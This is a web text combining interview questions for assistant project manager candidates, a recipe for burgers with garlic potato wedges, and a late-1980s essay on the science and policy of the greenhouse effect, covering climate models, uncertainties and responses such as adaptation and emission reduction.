The successful candidate will need to lead a team that will invariably encounter practical and communication difficulties. “How would your staff and colleagues describe your leadership style?” makes the candidate think about her management style from the perspective of the team. “Tell me about a time when you failed as a leader.” enables you to assess her learning and adaptability. Meanwhile, “How would you convince a manager who is resistant to change that your solution would help him?” gives you an insight into her persuasiveness and negotiation skills. “How often do you update stakeholders, and how do you communicate those updates?” enables the candidate to demonstrate her communication style. “How would you deal with a team leader who consistently fails to meet deadlines?” gives you insight into how she solves sensitive communication problems.
Analytical and Technical
A good assistant project manager analyzes verbal, written and numeric information carefully, but quickly and accurately. Observe how the candidate considers your questions before answering or whether she jumps in with an answer or breaks the question down to give a concise, structured response. “Tell me about a project that involved you interpreting a large amount of data” enables her to demonstrate her analytical skills. Typical questions about technical skills and tools include: “What project management software have you used?” and, “What methodologies are you familiar with?” Routine tasks usually include budgetary and facilities responsibilities, so include: “How do you go about selecting and allocating resources?”
Problem Solving and Initiative
Questions about problem-solving can include “How do you monitor risks to the project and mitigate them?” and “Describe a problem you discovered and solved in your current job.” Projects rarely go exactly to plan, so the assistant project manager needs to use initiative and be creative in order to meet targets while still adhering to specifications. “Describe a time when you implemented a new idea without being asked, or when you pursued a new opportunity that could improve the project or company.”
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Old fashioned burger with garlicky potato wedges
Good old fashioned burger
I tested these over and over again to get the flavours just right. A squidge of this there and a dollop of that here and I think I have got it just right. They really go down a storm at home.
For the potato wedges
For the burgers
To serve
Preparation method
2. Cut each potato in half lengthways and then cut each piece into four or five long wedges. Slam the garlic with the side of a knife to slightly crush. Place both onto a large baking tray, drizzle a good amount of oil over and season with salt and pepper. Toss everything together and then even out into a single layer. Roast in the oven for 30 minutes.
3. Meanwhile, trim and really finely slice the spring onions, peel and finely chop the garlic and add both to a large bowl. Tip in the minced beef, add the breadcrumbs, American mustard, tomato ketchup, Worcestershire sauce and crack in the egg.
4. Slide your thumb and forefinger down the thyme sprigs to remove the leaves in one go and add those to the bowl with a good amount of salt and freshly ground black pepper.
5. Before you get your hands into the mixture, put a good drizzle of oil in a frying pan over a high heat. Then, back to the mixture, squidge it together with your hands until everything is well combined. Then, divide into four equal sized pieces, shape each into a 2½cm/1in thick patty and place on a plate.
6. Carefully add the burgers to the pan, reduce the heat to medium and leave to fry on the first side for 5-6 minutes.
7. As these cook, slice up the tomato and cheese (or crumble the blue cheese if using). Peel and finely slice the onion.
8. Give the potatoes a good toss and flip the burgers over when ready. The burgers will need about another 5-8 minutes, depending how you like them cooked.
9. Split the burger buns open, arrange on a baking tray and put them into the oven for a few minutes to crisp up.
10. Remove the buns from the oven, buttering them if you fancy. Check your burgers are cooked as you like them and place each one on a burger bun base. Layer up the tomato, cheese, onion, and mustard whichever way you like and then finish with the burger bun top.
11. Serve with the potato wedges from the oven and a handful of rocket drizzled with some olive oil and balsamic vinegar. I just have to serve these with tomato ketchup or brown sauce.
Less than 30 mins preparation time
10 to 30 mins cooking time
Serves 4
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The Greenhouse Effect: Science and Policy
Global warming from the increase in greenhouse gases has become a major scientific and political issue during the past decade. That infrared radiation is trapped by greenhouse gases and particles in a planetary atmosphere and that the atmospheric CO2 level has increased by some 25 percent since 1850 because of fossil fuel combustion and land use (largely deforestation) are not controversial; levels of other trace greenhouse gases such as methane and chlorofluorocarbons have increased by even larger factors. Estimates of present and future effects, however, have significant uncertainties. There have also recently been controversial claims that a global warming signal has been detected. Results from most recent climatic models suggest that global average surface temperatures will increase by some 2deg. to 6deg.C during the next century, but future changes in greenhouse gas concentrations and feedback processes not properly accounted for in the models could produce greater or smaller increases. Sea level rises of 0.5 to 1.5 meters are typically projected for the next century, but there is a small probability of greater or even negative change. Forecasts of the distribution of variables such as soil moisture or precipitation pattern have even greater uncertainties. Policy responses range from engineering countermeasures to passive adaptation to prevention and a "law of the atmosphere." One approach is to implement those policies now that will reduce emissions of greenhouse gases and have additional societal benefits. Whether the uncertainties are large enough to suggest delaying policy responses is not a scientific question per se, but a value judgment.
WITHIN THE PAST YEAR COVER STORIES OF BOTH Time and Newsweek have featured global warming from the greenhouse effect and ozone depletion from industrial chemicals. The intense heat, forest fires, and drought of the summer of 1988 and the observation that the 1980s are the warmest decade on record have ignited an explosion of media, public, and governmental concern that the long debated global warming has arrived--and prompted some urgent calls for actions to deal with it. For example, the National Energy Policy Act of 1988 to control carbon dioxide emissions was introduced by Senator Wirth in August 1988, and hearings were held on 11 August. At that hearing, there were sharply conflicting views about whether policy actions are premature given the many remaining scientific uncertainties (1,la). Whether some amount of scientific uncertainty is "enough" to justify action or delay it is not a scientific judgment testable by any standard scientific method. Rather, it is a personal value choice that depends upon whether one fears more investing present resources as a hedge against potential future change or, alternatively, fears rapid future change descending without some attempt to slow it down or work actively to make adaptation to that change easier. That value choice can only be made efficiently by a society in which those involved in the decision-making process are aware of the nature of the scientific evidence. The public and governmental officials need to know which uncertainties are reducible, which may not be reducible, and how long it might take to narrow the reducible uncertainties. Uncertainties easily reducible in a few years might encourage waiting before implementing policy whereas uncertainties that are unreducible or difficult to reduce might suggest acting sooner. Of course, in the short term new research results may temporarily increase uncertainty, but with major efforts such as the proposed Global Change program, accelerated progress will be more likely (2) . Therefore, in this article I discuss briefly many of the scientific questions surrounding the greenhouse effect debate. At the end I will turn to the issue of plausible responses.
The greenhouse effect, despite all the controversy that surrounds the term, is actually one of the most well-established theories in atmospheric science. For example, with its dense CO2 atmosphere, Venus has temperatures near 700 K at its surface. Mars, with its very thin CO2 atmosphere, has temperatures of only 220 K. The primary explanation of the current Venus "runaway greenhouse" and the frigid Martian surface has long been quite clear and straightforward: the greenhouse effect (3) . The greenhouse effect works because some gases and particles in an atmosphere preferentially allow sunlight to filter through to the surface of the planet relative to the amount of radiant infrared energy that the atmosphere allows to escape back up to space. The greater the concentration of "greenhouse" material in the atmosphere (Fig. 1) (4), the less infrared energy that can escape. Therefore, increasing the amount of greenhouse gases increases the planet's surface temperature by increasing the amount of heat that is trapped in the lowest part of the atmosphere. What is controversial about the greenhouse effect is exactly how much Earth's surface temperature will rise given a certain increase in a trace greenhouse gas such as CO2.
Two reconstructions of Earth's surface temperature for the past century (Fig. 2) have been made at the Goddard Institute for Space Studies (GISS) and Climatic Research Unit (CRU). Although some identical instrumental records were used in each study, the methods of analysis were different. Moreover, the CRU results include an ocean data set (6). These records have been criticized because a number of the thermometers were in city centers and might have measured a spurious warming from the urban heat island (7). In other cases thermometers were moved from cities to airports or up and down mountains, and some other measurements are also unreliable. A critical evaluation of the urban heat island effect suggests that in the United States the data may account for nearly 0.4deg.C of warming in the GISS record and about 0.15deg.C warming in the CRU record (8). Because the U.S. data from where the urban heat island effect might be significant are only a small part of the total, these corrections should not automatically be made to the entire global record. However, even after such corrections for the United States are applied to all of the data, the global data still suggest that 0.5deg.C warming occurred during the past 100 years. Moreover, the 1980s appear to be the warmest decade on record; 1981,1987, and 1988 were the warmest years on these records (5,6).
Scientific Issues Surrounding the Greenhouse Effect
It is helpful to break down the set of issues known as the greenhouse effect into a series of stages, each feeding into another, and then to consider how policy questions might be addressed in the context of these more technical stages.
Projecting emissions. Behavioral assumptions must be made in order to project future use of fossil fuels (or deforestation, because this too can impact the amount of CO2 in the atmosphere--it accounts for about 20% of the recent total CO2 injection of about 5.5 x 10 9 metric tons). The essence of this aspect then is social science. Projections must be made of human population, the per capita consumption of fossil fuel, deforestation rates, reforestation activities, and perhaps even countermeasures to deal with the extra CO2 in the air. These projections depend on issues such as the likelihood that alternative energy systems or conservation measures will be available, their price, and their social acceptability. Furthermore, trade in fuel carbon (for example, a large-scale transfer from coal-rich to coal-poor nations) will depend not only on the energy requirements and the available alternatives but also on the economic health of the potential importing nations (9). This trade in turn will depend upon whether those nations have adequate capital resources to spend on energy rather than other precious strategic commodities--such as food or fertilizer as well as some other strategic materials such as weaponry. Total CO2 emissions from energy systems, for example, can be expressed by a formula termed "the population multiplier" by Ehrlich and Holdren (10)
Total CO2 emission = CO2 emission x technology x total population size
technology capita
The first term represents engineering effects, the second standard of living, and the third demography in this version, which is expanded from the original.
FIGURE Fig. 1.(47k) FIGURE Fig. 2.(42k)
In order to quantify future changes we can make scenarios (such as seen on Fig. 3) that show alternative CO2 futures based on assumed rates of growth in the use of fossil fuels (11). Most typical projections are in the 0.5 to 2% annual growth range for fossil fuel use and imply that CO2 concentrations will double (to 600 ppm) in the 21st century (12, 12a). There is virtually no dispute among scientists that the CO2 concentration in the atmosphere has already increased by @25% since @1850. The record at Mauna Loa observatory shows that concentrations have increased from about 310 to more than 350 ppm since 1958. Superimposed on this trend is a large annual cycle in which CO2 reaches a maximum in the spring of each year in the Northern Hemisphere and a minimum in the fall. The fall minimum is generally thought to result from growth of the seasonal biosphere in the Northern Hemisphere summer whereby photosynthesis increases faster than respiration and atmospheric CO2 levels are reduced. After September, the reverse occurs and respiration proceeds at a faster rate than photosynthesis and CO2 levels increase (13). Analyses of trapped air in several ice cores (14) suggest that during the past several thousand years of the present interglacial, CO2 levels have been reasonably close to the pre industrial value of 280 ppm. However, since about 1850, CO2 has risen @25%. At the maximum of the last Ice Age 18,000 years ago, CO2 levels were roughly 25% lower than pre industrial values. The data also reveal a close correspondence between the inferred temperature at Antarctica and the measured CO2 concentration from gas bubbles trapped in ancient ice (15). However, whether the CO2 level was a response to or caused the temperature changes is debated: CO2 may have simply served as an amplifier or positive feedback mechanism for climate change--that is, less CO2, colder temperatures. This uncertainty arises because the specific biogeophysical mechanisms that cause CO2 to change in step with the climate are not yet elucidated (16). Methane concentrations in bubbles in ice cores also show a similar close relation with climate during the past 150,000 years (17).
Other greenhouse gases like chlorofluorocarbons (CFCs), CH4, nitrogen oxides, tropospheric ozone, and others could, together, be as important as CO2 in augmenting the greenhouse effect, but some of these depend on human behavior and have complicated biogeochemical interactions. These complications account for the large error bars in Fig. 4 (18). Space does not permit a proper treatment of individual aspects of each non-CO2 trace greenhouse gas; therefore I reluctantly will consider all greenhouse gases taken together as "equivalent CO2." However, this assumption implies that projections for "CO2" alone (Fig. 3) will be an underestimate of the total greenhouse gas buildup by roughly a factor of 2. Furthermore, this assumption forces us to ignore possible relations between CH4 and water vapor in the stratosphere, for example, which might affect polar stratospheric clouds, which are believed to enhance photochemical destruction of ozone by chlorine atoms.
FIGURE Fig. 3.(44k) FIGURE Fig. 4.(38k)
Projecting greenhouse gas concentrations. Once a plausible set of scenarios for how much CO2 will be injected into the atmosphere is obtained the interacting biogeochemical processes that control the global distribution and stocks of the carbon need to be determined. Such processes involve the uptake of CO2 by green plants (because CO2 is the basis of photosynthesis, more CO2 in the air means faster rates of photosynthesis), changes in the amount of forested area and vegetation type, and how CO2 fertilization or climate change affects natural ecosystems on land and in the oceans (19). The transition from ice age to interglacial climates provides a concrete example of how large natural climatic change affected natural ecosystems in North America. This transition represented some 5deg.C global warming, with as much as 10deg. to 20deg.C warming locally near ice sheets. The boreal species now in Canada were hugging the rim of the great Laurentide glacier in the U.S. Northeast some 10,000 years ago, while now abundant hardwood species were restricted to small refuges largely in the South. The natural rate of forest movement that can be inferred is, to order of magnitude, some @1 km per year, in response to temperature changes averaging @1deg. to 2deg.C per thousand years (20). If climate were to change much more rapidly than this, then the forests would likely not be in equilibrium with the climate; that is, they could not keep up with the fast change and would go through a period of transient adjustment in which many hard-to-predict changes in species distribution, productivity, and CO2 absorptive capacity would likely occur (21).
Furthermore, because the slow removal of CO2 from the atmosphere is largely accomplished through biological and chemical processes in the oceans and decades to centuries are needed for equilibration after a large perturbation, the rates at which climate change modifies mixing processes in the ocean (and thus the CO2 residence time) also needs to be taken into account. There is considerable uncertainty about how much newly injected CO2 will remain in the air during the next century, but typical estimates put this so-called "airborne fraction" at about 50%. Reducing CO2 emissions could initially provide a bonus by allowing the reduction of the airborne fraction, whereas increasing CO2 emissions could increase the airborne fraction and exacerbate the greenhouse effect (22). However, this bonus might last only a decade or so, which is the time it takes for the upper mixed layer of the oceans to mix with deep ocean water. Biological feedbacks can also influence the amount of CO2 in the air. For example, enhanced photosynthesis could reduce the buildup rate of CO2 relative to that projected with carbon cycle models that do not include such an effect (23). On the other hand, although there is about as much carbon stored in the forests as there is in the atmosphere, there is about twice as much carbon stored in the soils in the form of dead organic matter. This carbon is slowly decomposed by soil microbes back to CO2 and other gases. Because the rate of this decomposition depends on temperature, global warming from increased greenhouse gases could cause enhanced rates of microbial decomposition of necromass (dead organic matter) (24), thereby causing a positive feedback that would enhance CO2 buildup. Furthermore, considerable methane is trapped below frozen sediments as clathrates in tundra and off continental shelves. These clathrates could release vast quantities of methane into the atmosphere if substantial Arctic warming were to take place (17, 25). Already the ice core data have shown that not only has CO2 tracked temperature closely for the past 150,000 years, but so has methane, and methane is a significant trace greenhouse gas which is some 20 to 30 times more effective per molecule at absorbing infrared radiation than CO2. Despite these uncertainties, many workers have projected that CO2 concentrations will reach 600 ppm sometime between 2030 and 2080 and that some of the other trace greenhouse gases will continue to rise at even faster rates.
Estimating global climatic response. Once we have projected how much CO2 (and other trace greenhouse gases) may be in the air during the next century or so, we have to estimate its climatic effect. Complications arise because of interactive processes; that is, feedback mechanisms. For example, if added CO2 were to cause a temperature increase on earth, the warming would likely decrease the regions of Earth covered by snow and ice and decrease the global albedo. The initial warming would thus create a darker planet that would absorb more energy, thereby creating a larger final warming (26, 27). This scenario is only one of a number of possible feedback mechanisms. Clouds can change in amount, height, or brightness, for example, substantially altering the climatic response to CO2 (28). And because feedback processes interact in the climatic system, estimating global temperature increases accurately is difficult; projections' of the global equilibrium temperature response to an increase of CO2 from 300 to 600 ppm have ranged from @1.5deg. to 5.5deg.C. (In the next section the much larger uncertainties surrounding regional responses will be discussed.) Despite these uncertainties, there is virtually no debate that continued increases of CO2 will cause global warming (29-30).
We cannot directly verify our quantitative predictions of greenhouse warming on the basis of purely historical events (31); therefore, we must base our estimates on natural analogs of large climatic changes and numerical climatic models because the complexity of the real world cannot be reproduced in laboratory models. In the mathematical models, the known basic physical laws are applied to the atmosphere, oceans, and ice sheets, and the equations that represent these laws are solved with the best computers available (32). Then, we simply change in the computer program the effective amount of greenhouse gases, repeat our calculation, and compare it to the "control" calculation for the present Earth. Many such global climatic models (GCMs) have been built during the past few decades, and the results are in rough agreement that if CO2 were to double from 300 to 600 ppm, then Earth's surface temperature would eventually warm up somewhere between 1deg. and 5deg.C; the most recent GCM estimates are from 3.5deg. to 5.0deg.C (27,33). For comparison, the global average surface temperature (land and ocean) during the Ice Age extreme 18,000 years ago was only about 5deg.C colder than that today. Thus, a global temperature change of 1deg. to 2deg.C can have considerable effects. A sustained global increase of more than 2deg.C above present would be unprecedented in the era of human civilization.
The largest uncertainty in estimating the sensitivity of Earth's surface temperature to a given increase in radiative forcing arises from the problem of parameterization. Because the equations that are believed to represent the flows of mass, momentum, and energy in the atmosphere, oceans, ice fields, and biosphere cannot be solved analytically with any known techniques, approximation techniques are used in which the equations are discretized with a finite grid that divides the region of interest into cells that are several hundred kilometers or more on a side. Clearly, critically important variables, such as clouds, which control the radiation budget of Earth, do not occur on scales as large as the grid of a general circulation model. Therefore, we seek to find a parametric representation or parameterization that relates implicitly the effects of important processes that operate at subgrid-scale but still have effects at the resolution of a typical general circulation model. For example, a parameter or proportionality coefficient might be used that describes the average cloudiness in grid cell in terms of the mean relative humidity in that cell and some other measures of atmospheric stability. Then, the important task becomes validating these semiempirical parameterizations because at some scale, all models, no matter how high resolution, must treat subgrid-scale processes through parameterization.
Projecting regional climatic response. In order to make useful estimates of the effects of climatic changes, we need to determine the regional distribution of climatic change. Will it be drier in Iowa in 2010, too hot in India, wetter in Africa, or more humid in New York; will California be prone to more forest fires or will Venice flood? Unfortunately, reliable prediction of the time sequence of local and regional responses of variables such as temperature and rainfall requires climatic models of greater complexity and expense than are currently available. Even though the models have been used to estimate the responses of these variables, the regional predictions from state-of-the-art models are not yet reliable.
Although there is considerable experience in examining regional changes [for example, Fig. 5 (34)], considerable uncertainty remains over the probability that these predicted regional features will occur. The principal reasons for the uncertainty are twofold: the crude treatment in climatic models of biological and hydrological processes (35) and the usual neglect of the effects of the deep oceans (36). The deep oceans would respond slowly--on time scales of many decades to centuries--to climatic warming at the surface, and also act differentially (that is, non uniformly in space and through time). Therefore, the oceans, like the forests, would be out of equilibrium with the atmosphere if greenhouse gases increase as rapidly as typically is projected and if climatic warming were to occur as fast as 2deg. to 6deg.C during the next century. This typical projection, recall, is 10 to 60 times as fast as the natural average rate of temperature change that occurred from the end of the last Ice Age to the present warm period (that is, 2deg. to 6deg.C warming in a century from human activities compared to an average natural warming of 1deg. to 2deg.C per millennium from the waning of the Ice Age to the establishment of the present interglacial epoch) (37). If the oceans are out of equilibrium with the atmosphere, then specific regional forecasts like that of Fig. 5 will not have much credibility until fully coupled atmosphere-ocean models are tested and applied (38). The development of such models is a formidable scientific and computational task and is still not very advanced.
FIGURE Fig. 5.(58k)
Validation of dramatic model forecasts. Of course, it is appropriate to ask how climatic models' predictions of unprecedented climatic change beyond the next several decades might be verified. Can society make trillion dollar decisions about global economic developments based on the projections of these admittedly dirty crystal balls? How can models be verified?
The first verification method is checking the ability of a model to simulate today's climate. Reproduction of the seasonal cycle is one critical test because these natural temperature changes are several times larger, on a hemispheric average, than the change from an ice age to an interglacial period or a projected greenhouse warming. Also, "fast physics" such as cloud parameterizations can be tested by seasonal simulations or weather forecasts. Global climate models generally map the seasonal cycle well (Fig. 6) (39), which suggests that fast physics is not badly simulated on a global basis. However, successful reproduction of these seasonal patterns are not enough that strong validation can be claimed. Precipitation, relative humidity, and the other variables need to be checked. Reproduction of the change in daily variance of these variables with the seasons is another tough test (40). The seasonal tests, however, do not indicate how well a model simulates such medium or slow processes as changes in deep ocean circulation or ice cover, which may have an important effect on the decade to century time scales during which the CO2 concentration is expected to double.
FIGURE Fig. 6.(110k)
A second verification technique is isolating individual physical components of the model, such as its parameterizations, and testing them against high resolution sub models and actual data at high resolution. For example, one can check whether a parameterized evaporation matches the observed evaporation of a particular cell. But this technique cannot guarantee that the complex interactions of many individual model components are treated properly. The model may predict average cloudiness well but represent cloud feedback poorly. In this case, simulation of overall climatic response to increased CO2 is likely to be inaccurate. A model should reproduce to better than, say, 25% accuracy the flow of thermal energy between the atmosphere, surface, and space (Fig. 1). Together, these energy flows comprise the well-established energy balance of Earth and constitute a formidable and necessary test for all models.
A third method for determining overall simulation skill is the model's ability to reproduce past climates or climates of other planets. Paleoclimatic simulations of the Mesozoic Era, glacial-interglacial cycles, or other extreme past climates help in understanding the coevolution of Earth's climate with living things. They are valuable for the estimation of both the climatic and biological future (41).
Overall validation of climatic models thus depends on constant appraisal and reappraisal of performance in the above categories. Also important are a model's response to such century-long forcings as the 25% increase in CO2 concentration and different increases in other trace greenhouse gases since the Industrial Revolution.
Most recent climatic models predict that a warming of at least 1deg.C should have occurred during the past century. The precise "forecast" of the past 100 years also depends upon how the model accounts for such factors as changes in the solar constant or volcanic dust as well as trace greenhouse gases in addition to CO2 (42). Indeed, the typical prediction of a 1deg.C warming is broadly consistent but somewhat larger than that observed (see Fig. 2). Possible explanations for the discrepancy include (43): (i) the state-of-the-art models are too sensitive to increases in trace greenhouse gases by a rough factor of 2; (ii) modelers have not properly accounted for such competitive external forcings as volcanic dust or changes in solar energy output; (iii) modelers have not accounted for other external forcings such as regional tropospheric aerosols from agricultural, biological, and industrial activity; (iv) modelers have not properly accounted for internal processes that could lead to stochastic (44) or chaotic (45) behavior; (v) modelers have not properly accounted for the large heat capacity of the oceans taking up some of the heating of the greenhouse effect and delaying, but not ultimately reducing, warming of the lower atmosphere; (vi) both present models and observed climatic trends could be correct, but models are typically run for equivalent doubling of the CO2 concentration whereas the world has only experienced a quarter of this increase and nonlinear processes have been properly modeled and produced a sensitivity appropriate for doubling but not for 25% increase; and (vii) the incomplete and inhomogeneous network of thermometers has underestimated actual global warming this century.
Despite this array of excuses why observed global temperature trends in the past century and those anticipated by most GCMs disagree somewhat, the twofold discrepancy between predicted and measured temperature changes is not large, but still of concern. This rough validation is reinforced by the good simulation by most climatic models of the seasonal cycle, diverse ancient paleoclimates, hot conditions on Venus, cold conditions on Mars (both well simulated), and the present distribution of climates on Earth. When taken together, these verifications provide strong circumstantial evidence that the current modeling of the sensitivity of global surface temperature to given increases in greenhouse gases over the next 50 years or so is probably valid within a rough factor of 2. Most climatologists do not yet proclaim that the observed temperature changes this century were caused beyond doubt by the greenhouse effect. The relation between the observed century-long trend and the predicted warming could still be chance occurrences, or other factors, such as solar constant variations or volcanic dust, may not have been accounted for correctly during the past century--except during the past decade when accurate measurements began to be made.
Another decade or two of observations of trends in Earth's climate, of course, should produce signal-to-noise ratios sufficiently high that we will be able to determine conclusively the validity of present estimates of climatic sensitivity to increasing trace greenhouse gases. That, however, is not a cost-free enterprise because a greater amount of change could occur then than if actions were undertaken now to slow down the buildup rate of greenhouse gases.
Scenarios of the environmental impact of CO2. Given a set of scenarios for regional climatic change we must next estimate the impacts on the environment and society (46, 47). Most researchers have focused on the direct effects of CO2 increases or used model-predicted maps of temperature and rainfall patterns to estimate impacts on crop yields or water supplies (29a, 30, 48, 49). Also of concern is the potential that temperature increases will alter the range or numbers of pests that affect plants, or diseases that threaten animals or human health (50, 50a). Also of interest are the effects on unmanaged ecosystems, principally forests. For example, ecologists are concerned that the destruction rate of tropical forests attributed to human expansion is eroding the genetic diversity of the planet (51). That is, because the tropical forests are in a sense major banks for the bulk of living genetic materials on Earth, the world is losing some of its irreplaceable biological resources through rapid development. Substantial changes in tropical rainfall have been predicted on the basis of climatic models; reserves (or refugia) that are currently set aside as minimal solutions for the preservation of some genetic resources into the future may not even be as effective as currently planned (52).
Climate changes resulting from greenhouse gas increases could also significantly affect water supply and demand. For example, a local increase in temperature of several degrees Celsius could decrease runoff in the Colorado River Basin by tens of percent (25, 48). A study (53) of the vulnerability to climate change of various water resource regions in the United States showed that some regions are quite vulnerable to climatic changes (Table 1).
Water quality will be diminished if the same volume of wastes are discharged through decreased stream flow. In addition, irrigation demand (and thus pressure on ground-water supplies) may increase substantially if temperatures increase without concomitant offsetting increases in precipitation. A number of climate models suggest that temperatures could increase and precipitation decrease simultaneously in several areas, including the central plains of the United States. Peterson and Keller (54) estimated the effects of a 3deg.C warming and a 10% precipitation change on U.S. crop production based on crop water needs. The greatest impact would be in the western states and the Great Plains, less in the Northwest. The warm, dry combination would increase depletion of streams and reduce viable acreage by nearly a third in the arid regions. New supplies of water would be needed, threatening ground water and the viability of agriculture in these regions. On the other hand, farmers in the East, and particularly in the Southeast, might profit if the depletion of eastern rivers were relatively less severe than that in the West or the Plains. However, increases in the efficiency of irrigation management and technological improvements remain achievable, and would help substantially to mitigate potential negative effects. Drying in the West could also markedly increase the incidence of wildfires, which in turn could act as agents of ecological change as climate changes.
Most workers project that an increase in global temperature of several degrees Celsius will cause sea level to rise by 0.5 to 1.5 m generally in the next 50 to 100 years (55); such a rise would endanger coastal settlements, estuarine ecosystems, and the quality of coastal fresh water resources (56, 57).
Economic, social, and political impacts. The estimation of the distribution of economic "winners and losers," given a scenario of climatic change, involves more than simply looking at the total dollars lost and gained--were it possible somehow to make such a calculation credibly! It also requires looking at these important equity questions: "who wins and who loses?" and "how might the losers be compensated and the winners charged?" For example, if the Cornbelt in the United States were to "move" north and east by several hundred kilometers from a warming, then a billion dollars a year lost in Iowa farms could well eventually become Minnesota's billion dollar gain. Although some macro-economists viewing this hypothetical problem from the perspective of the United States as a whole might see no net losses here, considerable social consternation could be generated by such a shift in climatic resources, particularly since the cause was economic activities (that is CO2 production) that directed differential costs and benefits to various groups. Moreover, even the perception that the economic activities of one nation could create climatic changes that would be detrimental to another has the potential for disrupting international relations--as is already occurring in the case of acid rain. In essence, what greenhouse gas induced environmental changes create is an issue of "redistributive" justice."
If a soil moisture decrease, such as projected for the United States in Fig. 5 were to occur, then it would have disturbing implications for agriculture in the U.S and Canadian plains. Clearly, present farming practices and cropping patterns would have to change. The more rapidly the climate changed and the less accurately the changes were predicted (which go together), the more likely that the net changes would be detrimental. It has been suggested that a future with soil moisture change like that shown in Fig. 5 could translate to a loss of comparative advantage of U.S. agricultural products on the world market (58). Such a scenario could have substantial economic and security implications. Taken together, projected climate changes into the next century could have major impacts on water resources, sea level, agriculture, forests, biological diversity, air quality, human health, urban infrastructure, and electricity demand (29a, 30, 47, 50, 57, 59)
Policy responses. The last stage in diagnosing the greenhouse effect concerns the question of appropriate policy responses. Three classes of actions could be considered. First, engineering countermeasures: purposeful interventions in the environment to minimize the potential effects [for example, deliberately spreading dust in the stratosphere to reflect some extra sunlight to cool the climate as a countermeasure to the inadvertent CO2 warming (60)]. These countermeasures suffer from the immediate and obvious flaw that if there is admitted uncertainty associated with predicting the unintentional consequences of human activities, then likewise substantial uncertainty surrounds any deliberate climatic modification. Thus, it is quite possible that the unintentional change might be overestimated by computer models and the intentional change underestimated, in which case human intervention would be a "cure worse than the disease" (61). Furthermore, the prospect for international tensions resulting from any deliberate environmental modifications is staggering, and our legal instruments to deal with these tensions is immature (62). Thus, acceptance of any substantial climate countermeasure strategies for the foreseeable future is hard to imagine, particularly because there are other more viable alternatives.
The second class of policy action, one that tends to be favored by many economists, is adaptation (63). Adaptive strategists propose to let society adjust to environmental changes. In extreme form, some believe in adaptation without attempting to mitigate or to prevent the changes in advance. Such a strategy is based partly on the argument that society will be able to replace much of its infrastructure before major climatic changes materialize, and that because of the large uncertainties, we are better off waiting to see what will happen before making potentially unnecessary investments. However, it appears quite likely that we are already committed to some climatic change based on emissions to date, and therefore some anticipatory steps to make adaptation easier certainly seems prudent (64). We could adapt to climate change, for example, by planting alternative crop strains that would be more widely adapted to a whole range of plausible climatic futures. Of course, if we do not know what is coming or we have not developed or tested the seeds yet, we may well suffer substantial losses during the transition to the new climate. But such adaptations are often recommended because of the uncertain nature of the specific redistributive character of future climatic change and because of high discount rates (65).
In the case of water supply management, the American Association for the Advancement of Science panel on Climate Change made a strong, potentially controversial, but, I believe, rather obvious adaptive suggestion: governments at all levels should reevaluate the legal, technical, and economic components of water supply management to account for the likelihood of climate change, stressing efficient techniques for water use, and new management practices to increase the flexibility of water systems and recognizing the need to reconsider existing compacts, ownership, and other legal baggage associated with the present water system. In light of rapid climate change, we need to reexamine the balance between private rights and the public good, because water is intimately connected with both. Regional transfers from water-abundant regions to water-deficient regions are often prohibited by legal or economic impediments that need to be examined as part of a hedging strategy for adapting more effectively to the prospect of climatic change even though regional details cannot now be reliably forecast (66).
Finally, the most active policy category is prevention, which could take the form of sulfur scrubbers in the case of acid rain, abandonment of the use of chlorofluorocarbons and other potential ozone-reducing gases (particularly those that also enhance global warming), reduction in the amount of fossil fuel used around the world or fossil fuel switching from more CO2- and SO2-producing coal to cleaner, less polluting methane fuels. Prevention policies, often advocated by environmentalists, are controversial because they involve, in some cases, substantial immediate investments as insurance against the possibility of large future environmental change, change whose details cannot be predicted precisely. The sorts of preventive policies that could be considered are increasing the efficiency of energy production and end use, the development of alternative energy systems that are not fossil fuel-based, or, in a far-reaching proposal: a "law of the air" proposed by Kellogg and Mead (67). They suggest that various nations would be assigned polluting rights to keep CO2 emissions below some agreed global standard. A "Law of the Atmosphere" was recently endorsed in the report of a major international meeting (68).
A Scientific Consensus?
In summary, a substantial warming of the climate through the augmentation to the greenhouse effect is very likely if current technological, economic, and demographic trends continue. Rapid climatic changes will cause both ecological and physical systems to go out of equilibrium--a transient condition that makes detailed predictions tenuous. The faster the changes take place, the less societies or natural ecosystems will be able to adapt to them without potentially serious disruptions. Both the rate and magnitude of typical projections up to 2050 suggest that climatic changes beyond that experienced by civilization could occur. The faster the climate is forced to change, the more likely there will be unexpected surprises lurking (69). The consensus about the likelihood of future global change weakens over detailed assessments of the precise timing and geographic distribution of potential effects and crumbles over the value question of whether present information is sufficient to generate a societal response stronger than more scientific research on the problems--appropriate (but self-serving) advice which we scientists, myself included, somehow always manage to recommend (70).
High Leverage Actions to Cope with Global Warming
Clearly, society does not have the resources to hedge against all possible negative future outcomes. Is there, then, some simple principle that can help us choose which actions to spend our resources on? One guideline is called the "tie-in strategy" (71, 72). Quite simply, society should pursue those actions that provide widely agreed societal benefits even if the predicted change does not materialize. For instance, one of the principal ways to slow down the rate at which the greenhouse effect will be enhanced is to invest in more efficient use and production of energy. More efficiency, therefore, would reduce the growing disequilibrium among physical, biological, and social systems and could buy time both to study the detailed implications of the greenhouse effect further and ensure an easier adaptation. However, if the greenhouse effects now projected prove to be substantial overestimates, what would be wasted by an energy efficiency strategy? Efficiency usually makes good economic sense (although the rate of investment in efficiency does depend, of course, on other competing uses of those financial resources and on the discount rate used). However, reductions in emissions of fossil fuels, especially coal, will certainly reduce acid rain, limit negative health effects in crowded areas from air pollution, and lower dependence on foreign sources of fuel, especially oil. In addition, more energy efficient factories mean reduced energy costs for manufacturing and thus greater long-term product competitiveness against foreign producers (11, 12a).
Development of alternative, environmentally safer energy technologies is another example of a tie-in strategy, as is the development and testing of alternative crop strains, trading agreements with nations for food or other climatically dependent strategic commodities, and so forth. However, there would be in some circles ideological opposition to such strategies on the grounds that these activities should be pursued by individual investment decisions through a market economy, not by collective action using tax revenues or other incentives. In rebuttal, a market which does not include the costs of environmental disruptions can hardly be considered a truly free market. Furthermore, strategic investments are made routinely on non economic (that is, cost-benefit analyses are secondary) criteria even by the most politically conservative people: to purchase military security. A strategic consciousness, not an economic calculus, dictates investments in defense. Similarly, people purchase insurance as a hedge against plausible, but uncertain, future problems. The judgment here is whether strategic consciousness, widely accepted across the political spectrum, needs to be extended to other potential threats to security, including a substantially altered environment occurring on a global scale at unprecedented rates. Then, the next problem is to determine how many resources to allocate.
